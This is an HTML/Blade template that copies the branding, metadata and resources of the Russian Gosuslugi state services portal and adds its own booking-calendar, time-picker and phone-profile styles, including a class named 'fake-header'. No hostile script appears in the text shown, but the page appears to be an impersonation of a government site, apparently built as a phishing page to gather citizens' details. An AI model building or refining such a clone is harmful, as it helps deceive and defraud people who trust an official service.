<!DOCTYPE html>

<html lang="ru" prefix="og: https://ogp.me/ns#"
    data-useragent="Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36"
    data-platform="Win32" style="--app-height: 1065px;">

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

    <meta name="yandex-verification" content="d313aca5cc98ee3d">
    <title>Портал государственных услуг Российской Федерации</title><!--<base href="/">-->
    <base href=".">
    <link rel="shortcut icon" href="https://gu-st.ru/portal-st/favicon.ico?ver=1.1">
    <link rel="shortcut icon" href="https://gu-st.ru/portal-st/favicon.svg?ver=1.1" type="image/svg+xml">
    <link rel="apple-touch-icon" href="https://gu-st.ru/portal-st/lib-assets/img/iphone/ico120.png?ver=1.1">
    <link rel="apple-touch-icon" sizes="76x76"
        href="https://gu-st.ru/portal-st/lib-assets/img/iphone/ico76.png?ver=1.1">
    <link rel="apple-touch-icon" sizes="120x120"
        href="https://gu-st.ru/portal-st/lib-assets/img/iphone/ico120.png?ver=1.1">
    <link rel="apple-touch-icon" sizes="152x152"
        href="https://gu-st.ru/portal-st/lib-assets/img/iphone/ico152.png?ver=1.1">
    <link rel="preload" href="https://gu-st.ru/portal-st/lib-assets/fonts/Lato-Regular-v3.woff2" as="font"
        type="font/woff2" crossorigin="anonymous">
    <link rel="preload" href="https://gu-st.ru/portal-st/lib-assets/fonts/Lato-Bold-v3.woff2" as="font"
        type="font/woff2" crossorigin="anonymous">

    <meta property="og:locale" content="ru_RU">
    <meta property="og:type" content="article">

    <meta property="og:image" content="https://gu-st.ru/content/opengraph/thumbnail.png">
    <meta property="og:title" content="Госуслуги">
    <meta property="og:description" content="Проще, чем кажется">
    <meta name="google-play-app" content="app-id=ru.rostel">
    <meta name="description"
        content="Единый портал государственных услуг Российской Федерации. Здесь можно записаться к врачу, получить загранпаспорт, записать ребенка в детский сад, проверить и оплатить штрафы или судебную задолженность.">
    <meta name="keywords" content="госуслуги, госпортал, государственные услуги, главная страница">
    <meta name="SKYPE_TOOLBAR" content="SKYPE_TOOLBAR_PARSER_COMPATIBLE">
    <meta name="apple-mobile-web-app-title" content="Госуслуги">
    <meta name="author" content="Минкомсвязь России">
    <meta name="theme-color" content="#1F50E8">
    <meta name="msapplication-navbutton-color" content="#1F50E8">
    <meta name="apple-mobile-web-app-status-bar-style" content="#1F50E8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge;chrome=1">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="stylesheet" href="<?php echo e(asset('public/portal/styles.7d48372f563bb034.css')); ?>" media="all"
        onload="this.media='all'">

    <script type="text/javascript" async src="<?php echo e(asset('public/portal/saved_resource')); ?>"></script>
    <script type="text/javascript" async src="<?php echo e(asset('public/portal/saved_resource(1)')); ?>"></script>
    <script type="text/javascript" async src="<?php echo e(asset('public/portal/saved_resource(2)')); ?>"></script>
    <script async src="<?php echo e(asset('public/portal/tag.js.Без названия')); ?>"></script>
    
    <style type="text/css"></style>
    <script src="<?php echo e(asset('public/portal/boot-minimax.js.Без названия')); ?>" type="module" async></script>
    <script src="<?php echo e(asset('public/portal/widget-minimax-180620251.js.Без названия')); ?>" type="text/javascript" async></script>


    <style>
        .notifiers-list[_ngcontent-ng-c584223298] {
            position: fixed;
            z-index: 2147473650;
            display: flex;
            flex-flow: column;
            align-items: flex-start;
            left: 32px;
            right: unset;
            bottom: 24px
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] {
            position: relative;
            background: #4d83fa;
            border-radius: 8px;
            color: #fff;
            font-size: 14px;
            line-height: 20px;
            padding: 16px 48px 16px 16px;
            margin-bottom: 8px;
            width: 500px
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.animate-bg-success[_ngcontent-ng-c584223298] {
            background: linear-gradient(to left, #1d5deb 50%, #4d83fa 0);
            background-size: 200% 100%;
            background-position: left
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.animate-bg-warning[_ngcontent-ng-c584223298] {
            background: linear-gradient(to left, #ffe5a6 50%, #fef0cc 0);
            background-size: 200% 100%;
            background-position: left
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.notifier-error[_ngcontent-ng-c584223298] {
            background-color: #e11432
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.notifier-warning[_ngcontent-ng-c584223298] {
            background-color: #fef0cc;
            color: #0b1f33
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] .color-white[_ngcontent-ng-c584223298]:hover {
            color: #fff
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.icon[_ngcontent-ng-c584223298] {
            padding-left: 48px;
            background-repeat: no-repeat;
            background-size: 20px 20px;
            background-position: 16px center
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.icon.notifier-success[_ngcontent-ng-c584223298] {
            background-image: url('data:image/svg+xml,<svg width="26" height="26" viewBox="0 0 26 26" fill="none" xmlns="http://www.w3.org/2000/svg">%0A<path d="M25 13C25 19.6274 19.6274 25 13 25C6.37258 25 1 19.6274 1 13C1 6.37258 6.37258 1 13 1C19.6274 1 25 6.37258 25 13Z" stroke="%23FFFFFF" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>%0A<path d="M8.4502 14.2999L11.1431 16.8999L17.5502 10.3999" stroke="%23FFFFFF" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>%0A</svg>%0A')
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.icon.notifier-process[_ngcontent-ng-c584223298] {
            background-image: url('data:image/svg+xml,<svg width="26" height="26" viewBox="0 0 26 26" fill="none" xmlns="http://www.w3.org/2000/svg">%0A<path d="M25 13C25 19.6274 19.6274 25 13 25C6.37258 25 1 19.6274 1 13C1 6.37258 6.37258 1 13 1C19.6274 1 25 6.37258 25 13Z" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>%0A<path d="M13 6.5V13.325L17.55 15.6" stroke="white" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"/>%0A</svg>%0A')
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.icon.notifier-error[_ngcontent-ng-c584223298] {
            background-image: url('data:image/svg+xml,<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">%0A<path d="M22.8 12C22.8 17.9647 17.9647 22.8 12 22.8C6.03532 22.8 1.2 17.9647 1.2 12C1.2 6.03532 6.03532 1.2 12 1.2C17.9647 1.2 22.8 6.03532 22.8 12Z" stroke="%23FFFFFF" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"/>%0A<line x1="11.9998" y1="7.2" x2="11.9998" y2="13.2" stroke="%23FFFFFF" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"/>%0A<circle cx="11.9998" cy="16.8001" r="1.2" fill="%23FFFFFF"/>%0A</svg>%0A')
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.icon.notifier-warning[_ngcontent-ng-c584223298] {
            background-image: url('data:image/svg+xml,<svg width="24" height="24" viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">%0A<path d="M22.8 12C22.8 17.9647 17.9647 22.8 12 22.8C6.03532 22.8 1.2 17.9647 1.2 12C1.2 6.03532 6.03532 1.2 12 1.2C17.9647 1.2 22.8 6.03532 22.8 12Z" stroke="%23FFFFFF" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"/>%0A<line x1="11.9998" y1="7.2" x2="11.9998" y2="13.2" stroke="%23FFFFFF" stroke-width="2.4" stroke-linecap="round" stroke-linejoin="round"/>%0A<circle cx="11.9998" cy="16.8001" r="1.2" fill="%23FFFFFF"/>%0A</svg>%0A')
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] .cancel[_ngcontent-ng-c584223298] {
            margin-left: 12px
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] .close[_ngcontent-ng-c584223298] {
            position: absolute;
            top: 18px;
            right: 16px
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.notifier-error[_ngcontent-ng-c584223298] {
            background-color: #fef0cc;
            color: #0b1f33
        }

        .notifiers-list[_ngcontent-ng-c584223298] .notifier.notifier-error[_ngcontent-ng-c584223298] .cancel[_ngcontent-ng-c584223298],
        .notifiers-list[_ngcontent-ng-c584223298] .notifier.notifier-error[_ngcontent-ng-c584223298] .close-all[_ngcontent-ng-c584223298] {
            color: #0d4cd3
        }

        .notifiers-list.light[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] {
            background-color: #fff;
            color: #515a63
        }

        .notifiers-list.right[_ngcontent-ng-c584223298] {
            align-items: flex-end;
            left: unset;
            right: 8px;
            text-align: right
        }

        @media  all and (min-width: 768px) and (max-width: 1140px) {
            .notifiers-list[_ngcontent-ng-c584223298] {
                left: 64px
            }

            .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] {
                width: calc(100vw - 128px)
            }
        }

        @media  all and (max-width: 767px) {
            .notifiers-list[_ngcontent-ng-c584223298] {
                left: 16px;
                right: 16px;
                bottom: 8px;
                align-items: stretch
            }

            .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] {
                width: 100%
            }

            .notifiers-list[_ngcontent-ng-c584223298] .notifier[_ngcontent-ng-c584223298] .cancel[_ngcontent-ng-c584223298] {
                display: block;
                margin-left: 0;
                margin-top: 16px
            }
        }
    </style>
    <style>
        .portal-disclaimer-list[_ngcontent-ng-c3044007788] {
            position: fixed;
            z-index: 2147473650;
            display: flex;
            flex-flow: column;
            align-items: flex-start;
            left: 32px;
            right: unset;
            bottom: 24px
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer[_ngcontent-ng-c3044007788] {
            position: relative;
            background: #fff;
            border-radius: 8px;
            padding: 16px;
            width: 488px;
            box-shadow: 0 24px 48px #e6ebf566
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer[_ngcontent-ng-c3044007788] .cont[_ngcontent-ng-c3044007788] {
            position: relative;
            padding-left: 22px;
            padding-right: 32px
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer[_ngcontent-ng-c3044007788] .cont[_ngcontent-ng-c3044007788] .divider[_ngcontent-ng-c3044007788] {
            position: absolute;
            left: 0;
            top: 0;
            width: 6px;
            height: 100%;
            border-radius: 3px
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer.type-error[_ngcontent-ng-c3044007788] .divider[_ngcontent-ng-c3044007788] {
            background-color: #ee3f58
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer.type-warning[_ngcontent-ng-c3044007788] .divider[_ngcontent-ng-c3044007788] {
            background-color: #ff8a00
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer.type-info[_ngcontent-ng-c3044007788] .divider[_ngcontent-ng-c3044007788] {
            background-color: #16a086
        }

        .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer[_ngcontent-ng-c3044007788] .close[_ngcontent-ng-c3044007788] {
            position: absolute;
            top: 16px;
            right: 16px;
            z-index: 2147473650
        }

        @media  all and (max-width: 1215px) {
            .portal-disclaimer-list[_ngcontent-ng-c3044007788] {
                left: 16px;
                right: 16px;
                bottom: 8px;
                align-items: stretch
            }

            .portal-disclaimer-list[_ngcontent-ng-c3044007788] .portal-disclaimer[_ngcontent-ng-c3044007788] {
                width: 100%
            }
        }
    </style>
    <style>
        html,
        body {
            height: 100%;
            margin: 0;
        }

        body {
            min-height: 100vh;
            display: flex;
            flex-direction: column;
        }

        main {
            flex: 1;
        }

        a[_ngcontent-ng-c4048374767]:focus-visible,
        button[_ngcontent-ng-c4048374767]:focus-visible {
            outline: 2px solid #9B3BE5;
            outline-offset: 2px
        }

        a[_ngcontent-ng-c4048374767]:focus-visible,
        button[_ngcontent-ng-c4048374767]:focus-visible {
            outline-offset: 2px
        }

        @supports  not (font: -apple-system-body) {

            a[_ngcontent-ng-c4048374767]:focus-visible,
            button[_ngcontent-ng-c4048374767]:focus-visible {
                background: #fef0cc !important
            }

            a[_ngcontent-ng-c4048374767]:focus-visible,
            a[_ngcontent-ng-c4048374767]:focus-visible *[_ngcontent-ng-c4048374767],
            button[_ngcontent-ng-c4048374767]:focus-visible,
            button[_ngcontent-ng-c4048374767]:focus-visible *[_ngcontent-ng-c4048374767] {
                color: #0b1f33 !important;
                font-family: Lato, Arial, sans-serif;
                font-weight: 700;
                font-style: normal
            }

            a[_ngcontent-ng-c4048374767]:focus-visible figure[_ngcontent-ng-c4048374767],
            button[_ngcontent-ng-c4048374767]:focus-visible figure[_ngcontent-ng-c4048374767] {
                background-color: #0b1f33 !important
            }
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] {
            background: #eff5f9;
            padding: 32px 0
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .grid-row[_ngcontent-ng-c4048374767] {
            grid-gap: 24px
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .simple[_ngcontent-ng-c4048374767] {
            display: block;
            width: fit-content
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .location-select[_ngcontent-ng-c4048374767] {
            cursor: pointer;
            text-align: left
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .location-select[_ngcontent-ng-c4048374767] figure[_ngcontent-ng-c4048374767] {
            width: 24px;
            height: 24px;
            background-color: #66727f;
            float: left
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .location-select[_ngcontent-ng-c4048374767] .text-plain-large[_ngcontent-ng-c4048374767] {
            word-break: keep-all;
            display: block;
            padding-left: 32px;
            color: #66727f
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .location-select[_ngcontent-ng-c4048374767]:hover figure[_ngcontent-ng-c4048374767] {
            background-color: #0b1f33
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .location-select[_ngcontent-ng-c4048374767]:hover .text-plain-large.color-text-helper[_ngcontent-ng-c4048374767],
        .footer-wrapper[_ngcontent-ng-c4048374767] .text-plain-large.color-text-helper[_ngcontent-ng-c4048374767]:hover {
            color: #0b1f33
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .social-link[_ngcontent-ng-c4048374767] {
            display: flex;
            width: 40px;
            height: 40px
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .social-link[_ngcontent-ng-c4048374767] .hover[_ngcontent-ng-c4048374767] {
            display: none
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .social-link[_ngcontent-ng-c4048374767]:hover .hover[_ngcontent-ng-c4048374767] {
            display: block
        }

        .footer-wrapper[_ngcontent-ng-c4048374767] .social-link[_ngcontent-ng-c4048374767]:hover .main-ico[_ngcontent-ng-c4048374767] {
            display: none
        }

        @media  all and (min-width: 768px) {
            .footer-wrapper[_ngcontent-ng-c4048374767] {
                padding: 64px 0
            }

            .footer-wrapper[_ngcontent-ng-c4048374767] .grid-row[_ngcontent-ng-c4048374767] {
                grid-gap: 32px
            }
        }

        @media  all and (min-width: 1216px) {
            .footer-wrapper[_ngcontent-ng-c4048374767] .simple-content[_ngcontent-ng-c4048374767] {
                display: flex;
                justify-content: space-between
            }
        }
    </style>
    <style>
        .header[_ngcontent-ng-c1214059053] {
            background-color: #fff;
            box-shadow: 0 2px 2px #9daccf14;
            z-index: 900;
            position: relative
        }

        .header.header-fixed[_ngcontent-ng-c1214059053] {
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            z-index: 920;
            background-color: #fff;
            box-shadow: 0 2px 2px #9daccf14
        }

        .header[_ngcontent-ng-c1214059053] .user-menu-wrapper[_ngcontent-ng-c1214059053] {
            position: relative;
            margin-left: auto
        }

        .header[_ngcontent-ng-c1214059053] .hide-by-burger[_ngcontent-ng-c1214059053] {
            animation: ease .4s lib-hide-by-burger forwards
        }

        .header[_ngcontent-ng-c1214059053] .show-by-burger[_ngcontent-ng-c1214059053] {
            animation: ease .4s lib-show-by-burger forwards
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] {
            position: fixed;
            top: 64px;
            width: 100%;
            z-index: 500
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] .catalog-desk[_ngcontent-ng-c1214059053] {
            background: #2b57e4
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] .close-catalog[_ngcontent-ng-c1214059053] {
            padding: 0 44px;
            position: absolute;
            left: calc(50% - 50px);
            background: #244dd1;
            box-shadow: inset 0 4px 4px #204cd9;
            border-radius: 0 0 12px 12px;
            z-index: -1
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] .close-catalog[_ngcontent-ng-c1214059053] .focus-visible[_ngcontent-ng-c1214059053] {
            display: none
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] .close-catalog[_ngcontent-ng-c1214059053]:focus-visible img[_ngcontent-ng-c1214059053] {
            display: none
        }

        .catalog-desk-wrapper[_ngcontent-ng-c1214059053] .close-catalog[_ngcontent-ng-c1214059053]:focus-visible .focus-visible[_ngcontent-ng-c1214059053] {
            display: inline-block
        }

        .catalog-shadow[_ngcontent-ng-c1214059053] {
            background: #0b1f339e;
            -webkit-backdrop-filter: blur(12px);
            backdrop-filter: blur(12px);
            content: "";
            position: absolute;
            top: 64px;
            width: 100%;
            height: calc(100vh - 64px);
            z-index: 300
        }

        .inner[_ngcontent-ng-c1214059053],
        .container-fixed[_ngcontent-ng-c1214059053] {
            height: 64px;
            background-color: #fff
        }

        .inner[_ngcontent-ng-c1214059053] {
            z-index: 600;
            position: relative
        }
    </style>
    <style>
        header lib-header lib-logo .logo {
            cursor: default
        }

        portal-search-input.title-h4 {
            font-weight: 400;
            font-size: 18px
        }

        @media  all and (max-width: 1215px) {
            .main-page[_ngcontent-ng-c1068416964] .sm-smaller.title-h2 {
                font-size: 24px;
                line-height: 32px
            }
        }

        .main-page[_ngcontent-ng-c1068416964] .new-on-portal-container[_ngcontent-ng-c1068416964] {
            background-color: #fff;
            padding: 32px 0
        }

        @media  all and (min-width: 768px) {
            .main-page[_ngcontent-ng-c1068416964] .new-on-portal-container[_ngcontent-ng-c1068416964] {
                padding: 64px 0
            }
        }

        .main-section-wrap[_ngcontent-ng-c1068416964] {
            background: var(--main-background-gradient)
        }

        .main-page-search[_ngcontent-ng-c1068416964] {
            width: 100%;
            min-height: 64px;
            z-index: 1;
            position: relative
        }

        .main-page-search[_ngcontent-ng-c1068416964] .grid-row[_ngcontent-ng-c1068416964] {
            row-gap: 16px
        }

        @media  all and (min-width: 768px) {
            .main-page-search[_ngcontent-ng-c1068416964] {
                min-height: 90px
            }

            .main-page-search[_ngcontent-ng-c1068416964] .grid-row[_ngcontent-ng-c1068416964] {
                row-gap: 32px
            }
        }

        @media  all and (min-width: 1140px) {

            .modal-opened .main-page-catalog-wrap,
            .robot-opened .main-page-catalog-wrap {
                display: none
            }

            html:not(.modal-opened):not(.robot-opened):not(.catalog-navigation-opened) .main-page-catalog-wrap {
                z-index: 1
            }

            html:not(.modal-opened):not(.robot-opened):not(.catalog-navigation-opened) .main-page-search-wrap {
                position: relative;
                z-index: 2
            }
        }
    </style>
    <style>
        [_nghost-ng-c3519511248] {
            position: relative;
            display: block
        }

        [hidden][_nghost-ng-c3519511248],
        .hide[_nghost-ng-c3519511248] {
            display: none
        }

        lib-cat-nav-categories[_ngcontent-ng-c3519511248] {
            z-index: 3;
            position: relative
        }
    </style>
    <style>
        .under-assistant[_ngcontent-ng-c4004852820] {
            padding: 24px
        }

        .gap-24[_ngcontent-ng-c4004852820] {
            gap: 24px
        }
    </style>
    <style>
        .logo[_ngcontent-ng-c27038702]:focus-visible {
            outline: 2px solid #9B3BE5;
            outline-offset: 2px
        }

        [_nghost-ng-c27038702] {
            display: block
        }

        .logo[_ngcontent-ng-c27038702] {
            display: block;
            height: 22px;
            width: 124px;
            padding-top: 1px
        }

        .logo[_ngcontent-ng-c27038702]:focus-visible {
            outline-offset: 2px
        }

        .logo.pointer[_ngcontent-ng-c27038702] {
            cursor: pointer
        }
    </style>
    <style>
        button[_ngcontent-ng-c3672901016]:focus-visible {
            outline: 2px solid #9B3BE5;
            outline-offset: 2px
        }

        button[_ngcontent-ng-c3672901016]:focus-visible {
            outline-offset: 2px
        }

        @supports  not (font: -apple-system-body) {
            button[_ngcontent-ng-c3672901016]:focus-visible {
                background: #fef0cc !important
            }

            button[_ngcontent-ng-c3672901016]:focus-visible,
            button[_ngcontent-ng-c3672901016]:focus-visible *[_ngcontent-ng-c3672901016] {
                color: #0b1f33 !important;
                font-family: Lato, Arial, sans-serif;
                font-weight: 700;
                font-style: normal
            }

            button[_ngcontent-ng-c3672901016]:focus-visible figure[_ngcontent-ng-c3672901016] {
                background-color: #0b1f33 !important
            }
        }

        .as-button[_ngcontent-ng-c3672901016] {
            padding: 8px 16px;
            background: #edf2fe;
            border-radius: 12px
        }

        .authorized-user[_ngcontent-ng-c3672901016] {
            position: relative;
            border-top: none;
            padding-top: 0;
            cursor: pointer;
            display: block
        }

        .authorized-user[_ngcontent-ng-c3672901016] .counter-circle[_ngcontent-ng-c3672901016] {
            width: 12px;
            height: 12px;
            left: 16px;
            top: 24px;
            right: auto
        }

        @media  all and (min-width: 1216px) {
            .authorized-user[_ngcontent-ng-c3672901016] {
                padding-right: 24px
            }

            .authorized-user[_ngcontent-ng-c3672901016]:before {
                content: "";
                position: absolute;
                top: 16px;
                right: 0;
                width: 10px;
                height: 6px;
                background: url('data:image/svg+xml,<svg viewBox="0 0 10 6" fill="none" xmlns="http://www.w3.org/2000/svg">%0A<path d="M0.246139 1.47381C-0.0820465 1.13666 -0.0820465 0.590022 0.246139 0.252867C0.574324 -0.0842891 1.10642 -0.0842891 1.4346 0.252867L5.59423 4.52619C5.92241 4.86334 5.92241 5.40998 5.59423 5.74713C5.26604 6.08429 4.73395 6.08429 4.40576 5.74713L0.246139 1.47381Z" fill="%230D4CD3"/>%0A<path d="M8.5654 0.252997C8.89358 -0.0841583 9.42568 -0.0841584 9.75386 0.252997C10.082 0.590153 10.082 1.13679 9.75386 1.47395L5.59423 5.74713C5.26604 6.08429 4.73395 6.08429 4.40576 5.74713C4.07758 5.40998 4.07759 4.86347 4.40577 4.52632L8.5654 0.252997Z" fill="%230D4CD3"/>%0A</svg>%0A') no-repeat 0 0
            }

            .login-button[_ngcontent-ng-c3672901016] {
                transition: background-color .7s;
                padding: 8px 16px;
                background: #edf2fe;
                border-radius: 12px;
                background-size: 0% 100%
            }

            .login-button[_ngcontent-ng-c3672901016]:hover {
                background-color: #0d4cd3;
                background-repeat: no-repeat;
                background-size: 200% 100%;
                color: #fff
            }
        }
    </style>



</head>

<body class="app-portal ng-tns-0-0">
    <div class="blur"></div><portal-root ng-version="17.3.12">
        <div aria-live="polite" aria-relevant="text" class="visually-hidden">
        </div>
        <div applytabindexes="" class="portal-root"><lib-modal-placeholder class="ng-star-inserted">
                <div></div><!---->
                <div id="modal-overlay"></div>
            </lib-modal-placeholder>
          


            <router-outlet></router-outlet>

            <style>
                /* ---------- Мобильная версия ---------- */
                @media (max-width: 768px) {

                    .main-header .inner {
                        padding: 10px 16px;
                        display: flex;
                        justify-content: space-between;
                        align-items: center;
                        flex-wrap: nowrap;
                    }

                    .main-header .container-d {
                        width: 100%;
                    }

                    .main-header .flex-container {
                        display: flex;
                        align-items: center;
                    }

                    /* Скрываем лишние ссылки */
                    lib-header-main-links {
                        display: none !important;
                    }

                    /* Отступ возле выбора роли */
                    lib-header-select-role {
                        margin-left: 10px !important;
                    }

                    /* Кнопка "Гражданам" */
                    .select-role .open-menu {
                        font-size: 14px;
                    }

                    .select-role .arrow {
                        width: 12px;
                        height: 12px;
                    }

                    /* Логотип */
                    .logo svg {
                        width: 100px;
                        height: auto;
                    }

                    /* Правая часть */
                    .login-wrapper {
                        margin-left: auto !important;
                    }

                    .login-button {
                        padding: 8px 16px;
                        font-size: 14px;
                        border-radius: 8px;
                    }

                    /* Убираем большие отступы */
                    .ml-24,
                    .ml-32,
                    .mr-24 {
                        margin: 0 !important;
                    }

                }

                /* ---------- Очень маленькие телефоны ---------- */
                @media (max-width: 480px) {

                    .main-header .inner {
                        padding: 8px 12px;
                    }

                    .logo svg {
                        width: 82px;
                    }

                    .select-role {
                        display: none;
                    }

                    .login-button {
                        font-size: 13px;
                        padding: 7px 14px;
                    }

                }

                body {
                    margin: 0;
                    background: #f5f7fb;
                    font-family: Arial, Helvetica, sans-serif;
                }

                #water-booking {
                    max-width: 1320px;
                    margin: 40px auto 120px;
                    padding: 20px;
                }

                h1 {
                    margin: 0 0 12px;
                    font-size: 36px;
                }

                .water-subtitle {
                    font-size: 20px;
                    color: #666;
                    margin-bottom: 35px;
                }

                .water-content {
                    display: flex;
                    gap: 30px;
                    align-items: flex-start;
                }

                .water-card {
                    background: #fff;
                    border-radius: 16px;
                    box-shadow: 0 8px 20px rgba(0, 0, 0, .08);
                    padding: 28px;
                }

                /* ===========================
   КАЛЕНДАРЬ
=========================== */

                .water-calendar {
                    width: 600px;
                    min-height: 530px;
                }

                .water-calendar-header {
                    display: flex;
                    justify-content: space-between;
                    align-items: center;
                    margin-bottom: 30px;
                }

                .water-calendar-header button {
                    width: 42px;
                    height: 42px;
                    border: none;
                    border-radius: 10px;
                    background: #eef4ff;
                    cursor: pointer;
                    font-size: 22px;
                    transition: .2s;
                }

                .water-calendar-header button:hover {
                    background: #dce9ff;
                }

                .water-calendar-header h2 {
                    margin: 0;
                    font-size: 24px;
                    font-weight: 600;
                }

                .water-weekdays,
                .water-days {
                    display: grid;
                    grid-template-columns: repeat(7, 1fr);
                    gap: 14px;
                }

                .water-weekdays div {
                    text-align: center;
                    font-weight: 600;
                    color: #7b8794;
                    font-size: 15px;
                }

                .water-day {
                    width: 56px;
                    height: 56px;
                    margin: auto;
                    border-radius: 50%;
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    cursor: pointer;
                    transition: .2s;
                    font-size: 17px;
                }

                .water-day:hover {
                    background: #edf5ff;
                }

                .water-selected {
                    background: #0d6efd;
                    color: #fff;
                }

                .water-disabled {
                    color: #cfcfcf;
                    cursor: not-allowed;
                }

                .water-disabled:hover {
                    background: transparent;
                }

                .water-today {
                    border: 2px solid #0d6efd;
                }

                .water-other {
                    visibility: hidden;
                }

                /* ===========================
   ПРАВАЯ КАРТОЧКА
=========================== */

                .water-time {
                    width: 360px;
                    min-height: 430px;
                }

                .water-time h3 {
                    margin: 5px 0 30px;
                    text-align: center;
                    font-size: 24px;
                }

                /* ===========================
   ВРЕМЯ
=========================== */

                .water-time-grid {
                    display: grid;
                    grid-template-columns: repeat(3, 90px);
                    justify-content: center;
                    gap: 14px;
                }

                .water-time-btn {
                    width: 90px;
                    height: 48px;
                    background: #fff;
                    border: 2px solid #d8dee8;
                    border-radius: 10px;
                    color: #2d3748;
                    font-size: 16px;
                    font-weight: 600;
                    cursor: pointer;
                    transition: .2s;
                }

                .water-time-btn:hover {
                    border-color: #0d6efd;
                    color: #0d6efd;
                }

                .water-active {
                    background: #fff;
                    border: 2px solid #0d6efd;
                    color: #0d6efd;
                    box-shadow: 0 0 0 3px rgba(13, 110, 253, .10);
                }

                /* ===========================
   КНОПКА
=========================== */

                .water-select-btn {
                    width: 100%;
                    height: 56px;
                    margin-top: 35px;
                    border: none;
                    border-radius: 10px;
                    background: #0d6efd;
                    color: #fff;
                    font-size: 18px;
                    font-weight: 600;
                    cursor: pointer;
                    transition: .25s;

                    display: flex;
                    align-items: center;
                    justify-content: center;
                    text-decoration: none;
                }

                .water-select-btn:hover {
                    background: #0958d9;
                    color: #fff;
                }

                /* ===========================
   АДАПТИВ
=========================== */

                @media(max-width:900px) {

                    #water-booking {
                        margin-bottom: 60px;
                    }

                    .water-content {
                        flex-direction: column;
                    }

                    .water-calendar {
                        width: 100%;
                        min-height: auto;
                    }

                    .water-time {
                        width: 100%;
                        min-height: auto;
                    }

                    .water-time-grid {
                        grid-template-columns: repeat(3, 1fr);
                    }

                    .water-time-btn {
                        width: 100%;
                    }

                }
            </style>



            <style>
                .demo-profile {
                    max-width: 620px;
                    margin: 40px auto;
                    padding: 40px;
                    background: #fff;
                    border: 1px solid #e5e7eb;
                    border-radius: 14px;
                    box-shadow: 0 6px 16px rgba(0, 0, 0, .08);
                    font-family: Arial, Helvetica, sans-serif;
                }

                .demo-profile__head {
                    text-align: center;
                    margin-bottom: 24px;
                }

                .demo-profile__avatar {
                    width: 48px;
                    height: 48px;
                    margin: 0 auto 10px;
                    border-radius: 50%;
                    background: linear-gradient(135deg, #a855f7, #7c3aed);
                    color: #fff;
                    font-size: 15px;
                    font-weight: 600;
                    display: flex;
                    align-items: center;
                    justify-content: center;
                    letter-spacing: .2px;
                }

                .demo-profile__phone {
                    font-size: 18px;
                    color: #111;
                    font-weight: 500;
                }

                .demo-profile__info {
                    margin: 24px 0;
                    line-height: 1.6;
                }

                .demo-profile__value {
                    display: block;
                    font-size: 16px;
                    color: #777;
                    font-weight: 600;
                    margin-top: 16px;
                }

                .demo-profile__value {
                    display: block;
                    font-size: 16px;
                    color: #111;
                    margin-top: 2px;
                    font-weight: 500;
                }

                .demo-profile__btn {
                    display: inline-block;
                    margin-top: 18px;
                    padding: 12px 28px;
                    background: #2563eb;
                    color: #fff;
                    text-decoration: none;
                    border-radius: 8px;
                    font-size: 15px;
                    font-weight: 600;
                }

                .fake-header {
                    display: flex;
                    justify-content: center;
                    align-items: center;
                    margin-bottom: 32px;
                }

                .fake-header .logo {
